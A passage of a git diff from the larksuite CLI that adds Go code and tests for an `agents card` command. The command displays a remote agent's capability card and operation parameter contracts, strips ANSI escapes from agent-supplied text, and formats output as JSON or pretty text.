t.Fatalf("%s: subtype should be unavailable_for_brand, got %+v", where, p)
|
||||
}
|
||||
if strings.Contains(p.Message, "的 '") {
|
||||
t.Errorf("%s: expected the whole-agent message (no verb named), got %q", where, p.Message)
|
||||
}
|
||||
if !strings.Contains(p.Message, "在 lark 品牌下不可用") {
|
||||
t.Errorf("%s: message should name the lark brand, got %q", where, p.Message)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolvedBrandDefaults pins resolvedBrand's resolution + offline default:
|
||||
// nil Factory and an empty configured Brand both fall back to feishu (consistent
|
||||
// with core.ParseBrand); an explicit brand is returned as-is.
|
||||
func TestResolvedBrandDefaults(t *testing.T) {
|
||||
if got := resolvedBrand(nil); got != core.BrandFeishu {
|
||||
t.Errorf("resolvedBrand(nil) should default to feishu, got %q", got)
|
||||
}
|
||||
if got := resolvedBrand(brandFactory(t, "")); got != core.BrandFeishu {
|
||||
t.Errorf("resolvedBrand with empty Brand should default to feishu, got %q", got)
|
||||
}
|
||||
if got := resolvedBrand(brandFactory(t, core.BrandLark)); got != core.BrandLark {
|
||||
t.Errorf("resolvedBrand should return the configured lark brand, got %q", got)
|
||||
}
|
||||
if got := resolvedBrand(brandFactory(t, core.BrandFeishu)); got != core.BrandFeishu {
|
||||
t.Errorf("resolvedBrand should return the configured feishu brand, got %q", got)
|
||||
}
|
||||
}
|
||||
377
cmd/agents/card.go
Normal file
377
cmd/agents/card.go
Normal file
@@ -0,0 +1,377 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// cardOptions holds all inputs for `agents card <ref>`.
|
||||
type cardOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
Operation string
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// verbCommandTemplate maps each operation verb to the human command that
|
||||
// executes it — surfaced in `--operation` output so the verb↔command mapping
|
||||
// is a lookup, not something the caller memorizes (artifact_download being the
|
||||
// one non-obvious row). Templates carry <...> placeholders and are never
|
||||
// executable verbatim.
|
||||
var verbCommandTemplate = map[string]string{
|
||||
iagents.VerbSend: "lark-cli agents send <agent_ref> --text <text> [--param k=v ...]",
|
||||
iagents.VerbTaskGet: "lark-cli agents task get <agent_ref> <task-id> [--watch --timeout 30s] [--param k=v ...]",
|
||||
iagents.VerbTaskList: "lark-cli agents task list <agent_ref> [--context-id <ctx-id>] [--param k=v ...]",
|
||||
iagents.VerbTaskCancel: "lark-cli agents task cancel <agent_ref> <task-id> [--param k=v ...]",
|
||||
iagents.VerbContextList: "lark-cli agents context list <agent_ref> [--param k=v ...]",
|
||||
iagents.VerbContextGet: "lark-cli agents context get <agent_ref> <ctx-id> [--param k=v ...]",
|
||||
iagents.VerbContextDelete: "lark-cli agents context delete <agent_ref> <ctx-id> --yes [--param k=v ...]",
|
||||
iagents.VerbArtifactDownload: "lark-cli agents task get <agent_ref> <task-id> --artifact <artifact-id> -o <output> [--param k=v ...]",
|
||||
}
|
||||
|
||||
// NewCmdAgentCard builds `agents card <ref>`: show an agent's capability card
|
||||
// (lean by default: capabilities + has_parameters), or — with --operation —
|
||||
// one operation's full parameter contract (--operation all returns every
|
||||
// operation at once). Resolution is offline; Describe enrichment is
|
||||
// best-effort when a client is configured. Risk=read.
|
||||
func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &cardOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "card <agent_ref>",
|
||||
Short: "Show a remote agent's capability card, or one operation's parameter contract",
|
||||
Long: "Fetch and show an agent's capability card. The default card is lean: capabilities decide which verbs are available, " +
|
||||
"has_parameters lists the verbs that need a parameter lookup. Use --operation <verb> to fetch one operation's full parameter " +
|
||||
"contract (name/type/required/enum/default + the command shape), or --operation all for every operation at once.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentCardRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Operation, "operation", "", "查询某操作的参数契约:动词(capabilities 键名 + send),或 all 一次拿全")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
|
||||
} else {
|
||||
// f is nil only in construction-time unit tests; register a bare --as so
|
||||
// the flag surface is still assertable without a Factory.
|
||||
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
|
||||
}
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentCardRun resolves the provider addressed by ref and emits either the
|
||||
// lean capability card or (--operation) a parameter-contract subquery. The
|
||||
// card is first-party static data (not agent-generated content), so it
|
||||
// bypasses content-safety scanning. The JSON success envelope is the default;
|
||||
// --format pretty opts into the human-readable listing; --jq forces JSON.
|
||||
func agentCardRun(opts *cardOptions) error {
|
||||
f := opts.Factory
|
||||
// Resolution is fully offline (no client), so `agents card` works before
|
||||
// config init. The capability matrix + static metadata are always available.
|
||||
prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Whole-agent brand gate (offline): an agent hidden from the current brand
|
||||
// has no card to show under it.
|
||||
if err := brandGate(f, spec, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if opts.Operation != "" {
|
||||
return agentCardOperationRun(opts, prov, spec, id)
|
||||
}
|
||||
|
||||
// Best-effort remote enrichment: if a client is configured, pass a runtime so
|
||||
// a provider's Describe can fill Name/Description from the platform; otherwise
|
||||
// rt stays nil and BuildCard returns the offline (caps + static) card.
|
||||
var rt iagents.Runtime
|
||||
if r, rerr := runtimeFor(f, id, agentID, nil); rerr == nil {
|
||||
rt = r
|
||||
}
|
||||
card := iagents.BuildCard(opts.Cmd.Context(), prov, spec, agentID, resolvedBrand(f), rt)
|
||||
|
||||
jq := jqExpr(opts.Cmd)
|
||||
// pretty is a human view only; a --jq expression implies structured JSON,
|
||||
// so it takes precedence over the pretty format.
|
||||
if opts.Format == "pretty" && jq == "" {
|
||||
printCardPretty(f.IOStreams.Out, card)
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: card,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// operationContract is one operation's parameter contract in `card
|
||||
// --operation` output. Parameters is always an array (empty is [], never
|
||||
// null); Command is the human command shape (a template, never executable
|
||||
// verbatim) and is omitted for unwired operations.
|
||||
type operationContract struct {
|
||||
Operation string `json:"operation"`
|
||||
Supported bool `json:"supported"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Parameters []iagents.CardParam `json:"parameters"`
|
||||
// ParametersSource is "template" on instance providers (both the single-verb
|
||||
// and the all forms), mirroring the lean card's honesty label.
|
||||
ParametersSource string `json:"parameters_source,omitempty"`
|
||||
}
|
||||
|
||||
// contractFor projects one OpInfo into its output contract.
|
||||
func contractFor(o iagents.OpInfo) operationContract {
|
||||
c := operationContract{Operation: o.Verb, Supported: o.Wired, Parameters: []iagents.CardParam{}}
|
||||
if o.Wired {
|
||||
c.Command = verbCommandTemplate[o.Verb]
|
||||
if o.Params != nil {
|
||||
c.Parameters = o.Params
|
||||
}
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// agentCardOperationRun serves `card --operation <verb|all>`: the parameter
|
||||
// contract subquery. Everything is offline static data. Edge behaviors are
|
||||
// deterministic: an unknown verb is invalid_argument listing the vocabulary;
|
||||
// an unwired verb answers supported:false; a wired zero-param verb answers
|
||||
// supported:true + parameters:[] ("nothing to pass" — not "not found").
|
||||
func agentCardOperationRun(opts *cardOptions, prov iagents.Provider, spec *iagents.AgentSpec, id core.Identity) error {
|
||||
f := opts.Factory
|
||||
verb := opts.Operation
|
||||
|
||||
var data any
|
||||
var prettyFn func(io.Writer)
|
||||
|
||||
if verb == "all" {
|
||||
all := map[string]operationContract{}
|
||||
for _, o := range spec.Ops() {
|
||||
all[o.Verb] = contractFor(o)
|
||||
}
|
||||
if prov.Kind() == iagents.KindInstance {
|
||||
data = map[string]any{"operations": all, "parameters_source": "template"}
|
||||
} else {
|
||||
data = map[string]any{"operations": all}
|
||||
}
|
||||
prettyFn = func(w io.Writer) {
|
||||
for _, o := range spec.Ops() {
|
||||
printOperationPretty(w, contractFor(o))
|
||||
}
|
||||
}
|
||||
} else {
|
||||
o, ok := spec.Op(verb)
|
||||
if !ok {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知操作 %q,合法值: %s, all", verb, strings.Join(iagents.Verbs(), ", ")).
|
||||
WithParam("--operation").
|
||||
WithHint("--operation 的合法动词见 message 列表(即 8 个操作名;capabilities 里的 file_input/input_required 是行为位、不是动词);all 一次拿全")
|
||||
}
|
||||
c := contractFor(o)
|
||||
if prov.Kind() == iagents.KindInstance {
|
||||
c.ParametersSource = "template" // struct 复用:不为 unwired 操作凭空造出 command:"" 键
|
||||
}
|
||||
data = c
|
||||
prettyFn = func(w io.Writer) { printOperationPretty(w, c) }
|
||||
}
|
||||
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
prettyFn(f.IOStreams.Out)
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: data,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// printOperationPretty renders one operation contract as a human block.
|
||||
func printOperationPretty(w io.Writer, c operationContract) {
|
||||
if !c.Supported {
|
||||
fmt.Fprintf(w, "operation: %s (不支持)\n", c.Operation)
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "operation: %s\n", c.Operation)
|
||||
if c.Command != "" {
|
||||
fmt.Fprintf(w, " command: %s\n", c.Command)
|
||||
}
|
||||
if len(c.Parameters) == 0 {
|
||||
fmt.Fprintln(w, " parameters: (无业务参数)")
|
||||
return
|
||||
}
|
||||
fmt.Fprintln(w, " parameters:")
|
||||
for _, p := range c.Parameters {
|
||||
printParamPretty(w, p)
|
||||
}
|
||||
}
|
||||
|
||||
// printParamPretty renders one declaration: the familiar "name: type
|
||||
// (required) — desc" first line plus an attribute line (enum / range /
|
||||
// default) when present. Desc/enum are provider-authored strings → stripANSI.
|
||||
func printParamPretty(w io.Writer, p iagents.CardParam) {
|
||||
req := ""
|
||||
if p.Required {
|
||||
req = " (required)"
|
||||
}
|
||||
fmt.Fprintf(w, " %s: %s%s", p.Name, p.Type, req)
|
||||
if p.Desc != "" {
|
||||
fmt.Fprintf(w, " — %s", stripANSI(p.Desc))
|
||||
}
|
||||
fmt.Fprintln(w)
|
||||
var attrs []string
|
||||
if len(p.Enum) > 0 {
|
||||
attrs = append(attrs, "取值: "+stripANSI(strings.Join(p.Enum, " | ")))
|
||||
}
|
||||
if p.Min != nil || p.Max != nil {
|
||||
attrs = append(attrs, "范围: "+rangePretty(p))
|
||||
}
|
||||
if p.Default != "" {
|
||||
attrs = append(attrs, "默认: "+stripANSI(p.Default))
|
||||
}
|
||||
if p.NoCarry {
|
||||
attrs = append(attrs, "不入链传(每次调用给新值)")
|
||||
}
|
||||
if len(attrs) > 0 {
|
||||
fmt.Fprintf(w, " %s\n", strings.Join(attrs, " · "))
|
||||
}
|
||||
// object:叶子逐个缩进渲染(点路径写法直接可见)
|
||||
for _, f := range p.Fields {
|
||||
leaf := f
|
||||
leaf.Name = p.Name + "." + f.Name
|
||||
fmt.Fprint(w, " ")
|
||||
printParamPretty(w, leaf)
|
||||
}
|
||||
}
|
||||
|
||||
// rangePretty renders Min/Max for the pretty view.
|
||||
func rangePretty(p iagents.CardParam) string {
|
||||
trim := func(f float64) string { return strings.TrimRight(strings.TrimRight(fmt.Sprintf("%f", f), "0"), ".") }
|
||||
switch {
|
||||
case p.Min != nil && p.Max != nil:
|
||||
return trim(*p.Min) + ".." + trim(*p.Max)
|
||||
case p.Min != nil:
|
||||
return ">=" + trim(*p.Min)
|
||||
default:
|
||||
return "<=" + trim(*p.Max)
|
||||
}
|
||||
}
|
||||
|
||||
// printCardPretty writes a compact human-readable view of the lean card:
|
||||
// identity header (with per-identity preconditions), the sorted capability
|
||||
// matrix, the has_parameters cue and declared skills. Remote cards carry
|
||||
// agent-controlled Name/Description strings, so every such field is
|
||||
// ANSI-stripped before hitting the terminal. Nil cards degrade to a
|
||||
// placeholder line rather than panicking.
|
||||
func printCardPretty(w io.Writer, card *iagents.AgentCard) {
|
||||
if card == nil {
|
||||
fmt.Fprintln(w, "(no card)")
|
||||
return
|
||||
}
|
||||
// Dynamic cards carry a Name; static cards fall back to the provider label.
|
||||
name := card.Name
|
||||
if name == "" {
|
||||
name = card.ProviderLabel
|
||||
}
|
||||
fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
|
||||
if card.Description != "" {
|
||||
fmt.Fprintf(w, " %s\n", stripANSI(card.Description))
|
||||
}
|
||||
if len(card.Identity) > 0 {
|
||||
ids := make([]string, 0, len(card.Identity))
|
||||
for _, spec := range card.Identity {
|
||||
id := string(spec.Type)
|
||||
if spec.Precondition != "" {
|
||||
id += "(前置: " + stripANSI(spec.Precondition) + ")"
|
||||
}
|
||||
ids = append(ids, id)
|
||||
}
|
||||
fmt.Fprintf(w, " identity: %s\n", strings.Join(ids, ", "))
|
||||
}
|
||||
|
||||
fmt.Fprintln(w, " capabilities:")
|
||||
// Capabilities is a closed struct; iterate in fixed alphabetical key order.
|
||||
keys := []string{
|
||||
iagents.CapArtifactDownload,
|
||||
iagents.CapContextDelete,
|
||||
iagents.CapContextGet,
|
||||
iagents.CapContextList,
|
||||
iagents.CapFileInput,
|
||||
iagents.CapInputRequired,
|
||||
iagents.CapTaskCancel,
|
||||
iagents.CapTaskGet,
|
||||
iagents.CapTaskList,
|
||||
}
|
||||
sort.Strings(keys)
|
||||
for _, k := range keys {
|
||||
mark := "no"
|
||||
if card.Supports(k) {
|
||||
mark = "yes"
|
||||
}
|
||||
fmt.Fprintf(w, " %-20s %s\n", k, mark)
|
||||
}
|
||||
|
||||
if len(card.HasParameters) > 0 {
|
||||
fmt.Fprintf(w, " parameters: %s\n", strings.Join(card.HasParameters, ", "))
|
||||
fmt.Fprintf(w, " (用 --operation <verb> 查看详情,如: lark-cli agents card %s --operation %s)\n",
|
||||
safeRefOrPlaceholder(card), card.HasParameters[0])
|
||||
}
|
||||
if card.ParametersSource != "" {
|
||||
fmt.Fprintf(w, " parameters_source: %s(模板级声明,具体 agent 以平台为准)\n", card.ParametersSource)
|
||||
}
|
||||
|
||||
if len(card.Skills) > 0 {
|
||||
fmt.Fprintln(w, " skills:")
|
||||
for _, sk := range card.Skills {
|
||||
name := sk.Name
|
||||
if name == "" {
|
||||
name = sk.ID
|
||||
}
|
||||
fmt.Fprintf(w, " %s\n", stripANSI(name))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// safeRefOrPlaceholder reconstructs the card's ref for the pretty hint when it
|
||||
// passes the interpolation whitelist, else a placeholder.
|
||||
func safeRefOrPlaceholder(card *iagents.AgentCard) string {
|
||||
ref := card.Provider + ":" + card.AgentID
|
||||
if safeNextRef(ref) {
|
||||
return ref
|
||||
}
|
||||
return "<agent_ref>"
|
||||
}
|
||||
287
cmd/agents/card_test.go
Normal file
287
cmd/agents/card_test.go
Normal file
@@ -0,0 +1,287 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// cardTestOpts builds a cardOptions driving agentCardRun against a real
|
||||
// (test) Factory. The example card is synthesized statically, so no API call
|
||||
// is made and stdout carries the capability card envelope.
|
||||
func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
|
||||
t.Helper()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
|
||||
return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
|
||||
}
|
||||
|
||||
// TestAgentCardRun_ExampleStaticCard verifies that `agents card example:echo`
|
||||
// returns the statically synthesized capability card (no API), with
|
||||
// task_cancel gated off and the three context_* caps on, and the agent_id
|
||||
// echoed from the ref.
|
||||
func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card should be statically synthesized and not error: %v", err)
|
||||
}
|
||||
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v", err)
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
data, ok := env.Data.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data should be a card object, got %T", env.Data)
|
||||
}
|
||||
if data["agent_id"] != "echo" {
|
||||
t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
|
||||
}
|
||||
if data["provider"] != "example" {
|
||||
t.Errorf("provider should be example, got %v", data["provider"])
|
||||
}
|
||||
// source was removed from the card (schema tightening).
|
||||
if _, present := data["source"]; present {
|
||||
t.Errorf("card should no longer carry a source field, got %v", data["source"])
|
||||
}
|
||||
caps, ok := data["capabilities"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
|
||||
}
|
||||
if caps["task_cancel"] != false {
|
||||
t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
|
||||
}
|
||||
if caps["context_list"] != true || caps["context_get"] != true || caps["context_delete"] != true {
|
||||
t.Errorf("echo should support the three context capabilities, got %v", caps)
|
||||
}
|
||||
// The lean card embeds NO parameter details; has_parameters is the always-
|
||||
// emitted (non-null) cue. echo declares no params ⇒ []; the old parameters
|
||||
// field must be gone entirely.
|
||||
if hp, ok := data["has_parameters"].([]interface{}); !ok {
|
||||
t.Errorf("has_parameters should be a non-null array, got %T (%v)", data["has_parameters"], data["has_parameters"])
|
||||
} else if len(hp) != 0 {
|
||||
t.Errorf("echo has_parameters should be empty, got %v", hp)
|
||||
}
|
||||
if _, present := data["parameters"]; present {
|
||||
t.Errorf("the lean card must not embed a parameters field (use --operation), got %v", data["parameters"])
|
||||
}
|
||||
if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
|
||||
t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
|
||||
}
|
||||
// card no longer exposes scope: the required_scopes field was removed from
|
||||
// AgentCard (scope is an internal registration item used only for preflight).
|
||||
if _, present := data["required_scopes"]; present {
|
||||
t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
|
||||
// since the json default flip), the card renders as a human-readable listing.
|
||||
// The output must surface the identity and capability names in plain text so
|
||||
// the stream is not valid envelope JSON.
|
||||
func TestAgentCardRun_PrettyFormat(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
opts.Format = "pretty"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card pretty should not error: %v", err)
|
||||
}
|
||||
|
||||
text := string(out.Bytes())
|
||||
// A pretty rendering is human text, not a JSON envelope.
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "echo") {
|
||||
t.Errorf("pretty output should contain agent_id: %s", text)
|
||||
}
|
||||
// context_list is a declared capability of the echo card; it must appear.
|
||||
if !strings.Contains(text, "context_list") {
|
||||
t.Errorf("pretty output should list capabilities: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
|
||||
func TestAgentCardRun_JSONFormat(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
opts.Format = "json"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card json should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
|
||||
// --jq flag must actually be REGISTERED on `agents card` (the run path already
|
||||
// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
|
||||
// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
|
||||
// the real command so registration + consumption are proven together.
|
||||
func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := NewCmdAgentCard(f)
|
||||
cmd.SetOut(&bytes.Buffer{})
|
||||
cmd.SetErr(&bytes.Buffer{})
|
||||
cmd.SetContext(context.Background())
|
||||
cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("card --jq should not error: %v", err)
|
||||
}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
got := strings.TrimSpace(string(out.Bytes()))
|
||||
if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
|
||||
t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
|
||||
// line instead of panicking (card.go nil branch).
|
||||
func TestPrintCardPretty_NilCard(t *testing.T) {
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, nil)
|
||||
if !strings.Contains(out.String(), "(no card)") {
|
||||
t.Errorf("nil card should print a placeholder line, got: %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
|
||||
// the pretty renderer that a minimal static card omits: the dynamic-card Name
|
||||
// (taking precedence over ProviderLabel), Description, declared Parameters, and
|
||||
// the Skills block (both the named skill and the id-fallback when Name is empty).
|
||||
func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
|
||||
card := &iagents.AgentCard{
|
||||
Provider: "demo",
|
||||
ProviderLabel: "demo 自定义智能体",
|
||||
Name: "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
|
||||
AgentID: "agt_demo",
|
||||
Description: "a helpful demo agent",
|
||||
Identity: []iagents.IdentitySpec{
|
||||
{Type: "user"},
|
||||
{Type: "bot", Precondition: "需加入渠道白名单"},
|
||||
},
|
||||
Capabilities: iagents.Capabilities{
|
||||
ContextList: true,
|
||||
TaskCancel: false,
|
||||
},
|
||||
HasParameters: []string{"send"},
|
||||
Skills: []iagents.CardSkill{
|
||||
{ID: "sk_1", Name: "Sales Analysis"},
|
||||
{ID: "sk_2"}, // no Name → falls back to ID
|
||||
},
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
text := out.String()
|
||||
|
||||
for _, want := range []string{
|
||||
"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
|
||||
"a helpful demo agent", // Description branch
|
||||
"identity: user, bot", // IdentitySpec types are joined
|
||||
"需加入渠道白名单", // identity precondition must be visible in pretty (Task 11 wrap-up)
|
||||
"parameters: send", // has_parameters cue + --operation pointer
|
||||
"skills:", // Skills block header
|
||||
"Sales Analysis", // skill with a Name
|
||||
"sk_2", // skill without a Name → id fallback
|
||||
} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
|
||||
// agent-controlled Name/Description cannot smuggle ANSI escapes to the
|
||||
// terminal (this sanitization is applied to every pretty surface).
|
||||
func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
|
||||
card := &iagents.AgentCard{
|
||||
Provider: "demo",
|
||||
AgentID: "agt_demo",
|
||||
Name: "\x1b[31mEvil\x1b[0m Agent",
|
||||
Description: "desc\x1b[2Jwipe",
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
text := out.String()
|
||||
if strings.Contains(text, "\x1b") {
|
||||
t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
|
||||
t.Errorf("readable text should remain after stripping, got: %q", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
|
||||
// (no dynamic Name) renders its ProviderLabel as the header.
|
||||
func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
|
||||
card := &iagents.AgentCard{
|
||||
Provider: "demo",
|
||||
ProviderLabel: "demo 自定义智能体",
|
||||
AgentID: "agt_demo",
|
||||
}
|
||||
out := &bytes.Buffer{}
|
||||
printCardPretty(out, card)
|
||||
if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
|
||||
t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
|
||||
// before any provider is built.
|
||||
func TestAgentCardRun_InvalidRef(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "no-colon")
|
||||
if err := agentCardRun(opts); err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
|
||||
// presence of --format and --as flags.
|
||||
func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
|
||||
cmd := NewCmdAgentCard(nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("agents card should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("agents card missing ref should report an argument error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("agents card with a single ref should be valid: %v", err)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Fatal("agents card should have a --format flag")
|
||||
}
|
||||
// Default output format is unified: card default flips from pretty to json.
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
|
||||
}
|
||||
if cmd.Flags().Lookup("as") == nil {
|
||||
t.Error("agents card should have an --as flag")
|
||||
}
|
||||
}
|
||||
492
cmd/agents/common.go
Normal file
492
cmd/agents/common.go
Normal file
@@ -0,0 +1,492 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package agent implements the `agent` command tree: a provider-agnostic
|
||||
// surface over remote A2A agents. This file holds the shared
|
||||
// command-layer helpers: ref→provider resolution, --param validation against a
|
||||
// Card, success-envelope emission, capability gating, and wait/watch polling.
